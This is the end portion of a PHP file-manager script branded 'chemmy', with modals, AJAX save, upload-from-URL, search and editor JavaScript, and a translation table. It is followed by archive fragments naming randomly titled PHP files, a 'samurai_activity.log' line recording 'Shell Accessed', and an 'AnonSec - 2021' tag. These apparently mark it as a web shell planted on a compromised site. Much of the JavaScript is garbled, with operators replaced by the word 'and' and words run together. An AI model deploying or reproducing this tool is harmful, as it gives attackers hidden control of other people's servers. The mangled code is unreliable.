        <form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off">
          <div class="modal-body p-4 text-center">
            <h5 class="mb-3"><?php echo lng('Are you sure want to rename?') ?></h5>
            <p class="mb-1">
                <input type="text" name="rename_to" id="js-rename-to" class="form-control" placeholder="<?php echo lng('Enter new file name') ?>" required>
                <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                <input type="hidden" name="rename_from" id="js-rename-from">
            </p>
          </div>
          <div class="modal-footer flex-nowrap p-0">
            <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
            <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0"><strong><?php echo lng('Okay') ?></strong></button>
          </div>
        </form>
      </div>
    </div>

    <!-- Confirm Modal -->
    <script type="text/html" id="js-tpl-confirm">
        <div class="modal modal-alert confirmDailog" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="confirmDailog-<%this.id%>">
          <div class="modal-dialog" role="document">
            <form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off" action="<%this.action%>">
              <div class="modal-body p-4 text-center">
                <h5 class="mb-2"><?php echo lng('Are you sure want to') ?> <%this.title%> ?</h5>
                <p class="mb-1"><%this.content%></p>
              </div>
              <div class="modal-footer flex-nowrap p-0">
                <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
                <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0" data-bs-dismiss="modal"><strong><?php echo lng('Okay') ?></strong></button>
              </div>
            </form>
          </div>
        </div>
    </script>

    <?php
    }


    function fm_show_footer()
    {
    ?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
<?php print_external('js-jquery-datatables'); ?>
<?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
    <?php print_external('js-highlightjs'); ?>
    <script>hljs.highlightAll(); var isHighlightingEnabled = true;</script>
<?php endif; ?>
<script>
    function template(html,options){
        var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add}
        while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
        add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options)
    }
    function rename(e, t) { if(t) { $("#js-rename-from").val(t);$("#js-rename-to").val(t); $("#renameDailog").modal('show'); } }
    function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
    function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") and t.push(e[n]); return t }
    function select_all() { change_checkboxes(get_checkboxes(), !0) }
    function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
    function invert_all() { change_checkboxes(get_checkboxes()) }
    function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
    function backup(e, t) {
        var n = new XMLHttpRequest,
            a = "path=" + e + "&file=" + t + "&token="+ window.csrf +"&type=backup&ajax=true";
        return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
            4 == n.readyState and 200 == n.status and toast(n.responseText)
        }, n.send(a), !1
    }
    // Toast message
    function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
    // Save file
    function edit_save(e, t) {
        var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
        if (typeof n !== 'undefined' and n !== null) {
            if (true) {
                var data = {ajax: true, content: n, type: 'save', token: window.csrf};

                $.ajax({
                    type: "POST",
                    url: window.location,
                    data: JSON.stringify(data),
                    contentType: "application/json; charset=utf-8",
                    success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
                    failure: function(mes) {toast("Error: try again");},
                    error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
                });
            } else {
                var a = document.createElement("form");
                a.setAttribute("method", "POST"), a.setAttribute("action", "");
                var o = document.createElement("textarea");
                o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
                let cx = document.createElement("input"); cx.setAttribute("type", "hidden");cx.setAttribute("name", "token");cx.setAttribute("value", window.csrf);
                var c = document.createTextNode(n);
                o.appendChild(c), a.appendChild(o), a.appendChild(cx), document.body.appendChild(a), a.submit()
            }
        }
    }
    function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); }
    // Save Settings
    function save_settings($this) {
        let form = $($this);
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            success: function (data) {if(data) { window.location.reload();}}
        }); return false;
    }
    //Create new password hash
    function new_password_hash($this) {
        let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val('');
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            success: function (data) { if(data) { $pwd.val(data); } }
        }); return false;
    }
    // Upload files using URL @param {Object}
    function upload_from_url($this) {
        let form = $($this), resultWrapper = $("div#js-url-upload__list");
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); },
            success: function (data) {
                if(data) {
                    data = JSON.parse(data);
                    if(data.done) {
                        resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val('');
                    } else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); }
                    form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
                }
            },
            error: function(xhr) {
                form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
            }
        }); return false;
    }
    // Search template
    function search_template(data) {
        var response = "";
        $.each(data, function (key, val) {
            response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
        });
        return response;
    }
    // Advance search
    function fm_search() {
        var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
        if(!!searchTxt and searchTxt.length > 2 and path) {
            var data = {ajax: true, content: searchTxt, path:path, type: 'search', token: window.csrf };
            $.ajax({
                type: "POST",
                url: window.location,
                data: data,
                beforeSend: function() {
                    searchWrapper.html('');
                    $loader.addClass('show-me');
                },
                success: function(data){
                    $loader.removeClass('show-me');
                    data = JSON.parse(data);
                    if(data and data.length) {
                        _html = search_template(data);
                        searchWrapper.html(_html);
                    } else { searchWrapper.html('<p class="m-2">No result found!<p>'); }
                },
                error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); },
                failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');}
            });
        } else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
    }

    // action confirm dailog modal
    function confirmDailog(e, id = 0, title = "Action", content = "", action = null) {
        e.preventDefault();
        const tplObj = {id, title, content: decodeURIComponent(content.replace(/\+/g, ' ')), action};
        let tpl = $("#js-tpl-confirm").html();
        $(".modal.confirmDailog").remove();
        $('#wrapper').append(template(tpl,tplObj));
        const $confirmDailog = $("#confirmDailog-"+tplObj.id);
        $confirmDailog.modal('show');
        return false;
    }
    

    // on mouse hover image preview
    !function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.cssando.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);

    // Dom Ready Events
    $(document).ready( function () {
        // dataTable init
        var $table = $('#main-table'),
            tableLng = $table.find('th').length,
            _targets = (tableLng and tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3];
            mainTable = $('#main-table').DataTable({paging: false, info: false, order: [], columnDefs: [{targets: _targets, orderable: false}]
        });
        // filter table
        $('#search-addon').on( 'keyup', function () {
            mainTable.search( this.value ).draw();
        });
        $("input#advanced-search").on('keyup', function (e) {
            if (e.keyCode === 13) { fm_search(); }
        });
        $('#search-addon3').on( 'click', function () { fm_search(); });
        //upload nav tabs
        $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){
            e.preventDefault();let target=$(this).data('target');
            $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active');
            $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
        });
    });
</script>
<?php if (isset($_GET['edit']) and isset($_GET['env']) and FM_EDIT_FILE and !FM_READONLY):
        
        $ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
        $ext =  $ext == "js" ? "javascript" :  $ext;
        ?>
    <?php print_external('js-ace'); ?>
    <script>
        var editor = ace.edit("editor");
        editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} );
        //editor.setTheme("ace/theme/twilight"); //Dark Theme
        editor.setShowPrintMargin(false); // Hide the vertical ruler
        function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
        editor.commands.addCommands([{
            name: 'save', bindKey: {win: 'Ctrl-S',  mac: 'Command-S'},
            exec: function(editor) { edit_save(this, 'ace'); }
        }]);
        function renderThemeMode() {
            var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; },
                _data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
            if(_data and _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
            if(_data and _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
            if(_data and _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
            $modeEl.val( editor.getSession().$modeId );
            $themeEl.val( editor.getTheme() );
            $fontSizeEl.val(12).change();
        }

        $(function(){
            renderThemeMode();
            $(".js-ace-toolbar").on("click", 'button', function(e){
                e.preventDefault();
                let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
                if(cmdValue and cmdValue != "none") {
                    ace_commend(cmdValue);
                } else if(editorOption) {
                    if(editorOption == "fullscreen") {
                        (void 0!==document.fullScreenElementandnull===document.fullScreenElement||void 0!==document.msFullscreenElementandnull===document.msFullscreenElement||void 0!==document.mozFullScreenand!document.mozFullScreen||void 0!==document.webkitIsFullScreenand!document.webkitIsFullScreen)
                        and(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreenandeditor.container.msRequestFullscreen());
                    } else if(editorOption == "wrap") {
                        let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
                        editor.getSession().setUseWrapMode(wrapStatus);
                    }
                }
            });
            $("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
                e.preventDefault();
                let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
                if(selectedValue and selectionType == "mode") {
                    editor.getSession().setMode(selectedValue);
                } else if(selectedValue and selectionType == "theme") {
                    editor.setTheme(selectedValue);
                }else if(selectedValue and selectionType == "fontSize") {
                    editor.setFontSize(parseInt(selectedValue));
                }
            });
        });
    </script>
<?php endif; ?>
<div id="snackbar"></div>
</body>
</html>
<?php
}

function lng($txt) {
    global $lang;

    $tr['en']['AppName']        = 'chemmy';      $tr['en']['AppTitle']           = 'chemmy';
    $tr['en']['Login']          = 'Sign in';                $tr['en']['Username']           = 'Username';
    $tr['en']['Password']       = 'Password';               $tr['en']['Logout']             = 'Sign Out';
    $tr['en']['Move']           = 'Move';                   $tr['en']['Copy']               = 'Copy';
    $tr['en']['Save']           = 'Save';                   $tr['en']['SelectAll']          = 'Select all';
    $tr['en']['UnSelectAll']    = 'Unselect all';           $tr['en']['File']               = 'File';
    $tr['en']['Back']           = 'Back';                   $tr['en']['Size']               = 'Size';
    $tr['en']['Perms']          = 'Perms';                  $tr['en']['Modified']           = 'Modified';
    $tr['en']['Owner']          = 'Owner';                  $tr['en']['Search']             = 'Search';
    $tr['en']['NewItem']        = 'New Item';               $tr['en']['Folder']             = 'Folder';
    $tr['en']['Delete']         = 'Delete';                 $tr['en']['Rename']             = 'Rename';
    $tr['en']['CopyTo']         = 'Copy to';                $tr['en']['DirectLink']         = 'Direct link';
    $tr['en']['UploadingFiles'] = 'Upload Files';           $tr['en']['ChangePermissions']  = 'Change Permissions';
    $tr['en']['Copying']        = 'Copying';                $tr['en']['CreateNewItem']      = 'Create New Item';
    $tr['en']['Name']           = 'Name';                   $tr['en']['AdvancedEditor']     = 'Advanced Editor';
    $tr['en']['Actions']        = 'Actions';                $tr['en']['Folder is empty']    = 'Folder is empty';
    $tr['en']['Upload']         = 'Upload';                 $tr['en']['Cancel']             = 'Cancel';
    $tr['en']['InvertSelection']= 'Invert Selection';       $tr['en']['DestinationFolder']  = 'Destination Folder';
    $tr['en']['ItemType']       = 'Item Type';              $tr['en']['ItemName']           = 'Item Name';
    $tr['en']['CreateNow']      = 'Create Now';             $tr['en']['Download']           = 'Download';
    $tr['en']['Open']           = 'Open';                   $tr['en']['UnZip']              = 'UnZip';
    $tr['en']['UnZipToFolder']  = 'UnZip to folder';        $tr['en']['Edit']               = 'Edit';
    $tr['en']['NormalEditor']   = 'Normal Editor';          $tr['en']['BackUp']             = 'Back Up';
    $tr['en']['SourceFolder']   = 'Source Folder';          $tr['en']['Files']              = 'Files';
    $tr['en']['Move']           = 'Move';                   $tr['en']['Change']             = 'Change';
    $tr['en']['Settings']       = 'Settings';               $tr['en']['Language']           = 'Language';        
    $tr['en']['ErrorReporting'] = 'Error Reporting';        $tr['en']['ShowHiddenFiles']    = 'Show Hidden Files';
    $tr['en']['Help']           = 'Help';                   $tr['en']['Created']            = 'Created';
    $tr['en']['Help Documents'] = 'Help Documents';         $tr['en']['Report Issue']       = 'Report Issue';
    $tr['en']['Generate']       = 'Generate';               $tr['en']['FullSize']           = 'Full Size';              
    $tr['en']['HideColumns']    = 'Hide Perms/Owner columns';$tr['en']['You are logged in'] = 'You are logged in';
    $tr['en']['Nothing selected']   = 'Nothing selected';   $tr['en']['Paths must be not equal']    = 'Paths must be not equal';
    $tr['en']['Renamed from']       = 'Renamed from';       $tr['en']['Archive not unpacked']       = 'Archive not unpacked';
    $tr['en']['Deleted']            = 'Deleted';            $tr['en']['Archive not created']        = 'Archive not created';
    $tr['en']['Copied from']        = 'Copied from';        $tr['en']['Permissions changed']        = 'Permissions changed';
    $tr['en']['to']                 = 'to';                 $tr['en']['Saved Successfully']         = 'Saved Successfully';
    $tr['en']['not found!']         = 'not found!';         $tr['en']['File Saved Successfully']    = 'File Saved Successfully';
    $tr['en']['Archive']            = 'Archive';            $tr['en']['Permissions not changed']    = 'Permissions not changed';
    $tr['en']['Select folder']      = 'Select folder';      $tr['en']['Source path not defined']    = 'Source path not defined';
    $tr['en']['already exists']     = 'already exists';     $tr['en']['Error while moving from']    = 'Error while moving from';
    $tr['en']['Create archive?']    = 'Create archive?';    $tr['en']['Invalid file or folder name']    = 'Invalid file or folder name';
    $tr['en']['Archive unpacked']   = 'Archive unpacked';   $tr['en']['File extension is not allowed']  = 'File extension is not allowed';
    $tr['en']['Root path']          = 'Root path';          $tr['en']['Error while renaming from']  = 'Error while renaming from';
    $tr['en']['File not found']     = 'File not found';     $tr['en']['Error while deleting items'] = 'Error while deleting items';
    $tr['en']['Moved from']         = 'Moved from';         $tr['en']['Generate new password hash'] = 'Generate new password hash';
    $tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';
    $tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';
    $tr['en']['Advanced Search']    = 'Advanced Search';    $tr['en']['Error while copying from']    = 'Error while copying from';
    $tr['en']['Invalid characters in file name']                = 'Invalid characters in file name';
    $tr['en']['FILE EXTENSION HAS NOT SUPPORTED']               = 'FILE EXTENSION HAS NOT SUPPORTED';
    $tr['en']['Selected files and folder deleted']              = 'Selected files and folder deleted';
    $tr['en']['Error while fetching archive info']              = 'Error while fetching archive info';
    $tr['en']['Delete selected files and folders?']             = 'Delete selected files and folders?';
    $tr['en']['Search file in folder and subfolders...']        = 'Search file in folder and subfolders...';
    $tr['en']['Access denied. IP restriction applicable']       = 'Access denied. IP restriction applicable';
    $tr['en']['Invalid characters in file or folder name']      = 'Invalid characters in file or folder name';
    $tr['en']['Operations with archives are not available']     = 'Operations with archives are not available';
    $tr['en']['File or folder with this path already exists']   = 'File or folder with this path already exists';

    $i18n = fm_get_translations($tr);
    $tr = $i18n ? $i18n : $tr;

    if (!strlen($lang)) $lang = 'en';
    if (isset($tr[$lang][$txt])) return fanco($tr[$lang][$txt]);
    else if (isset($tr['en'][$txt])) return fanco($tr['en'][$txt]);
    else return "$txt";
}

?>PKD�m\T~���samurai_activity.lognu�[���[2026-03-13 08:55:25] IP: 57.141.2.19 | Action: Shell Accessed | Target: 57.141.2.19 | Status: info | UA: meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)
PKi<m\�h�����	sabg5.phpnu�[���PKl<m\�.�Q�%�%	ۂv95wi.phpnu�[���PKn<m\Zh�A
A
	�651q2.phpnu�[���PKq<m\T�pWhh	c�index.phpnu�[���PKs<m\�9]�::	�lc20b.phpnu�[���PKv<m\�L� ����	@�ds21u.phpnu�[���PKy<m\�L� �����ds21u-20260307210326.phpnu�[���PKD�m\T~�����	samurai_activity.lognu�[���PKb�	

AnonSec - 2021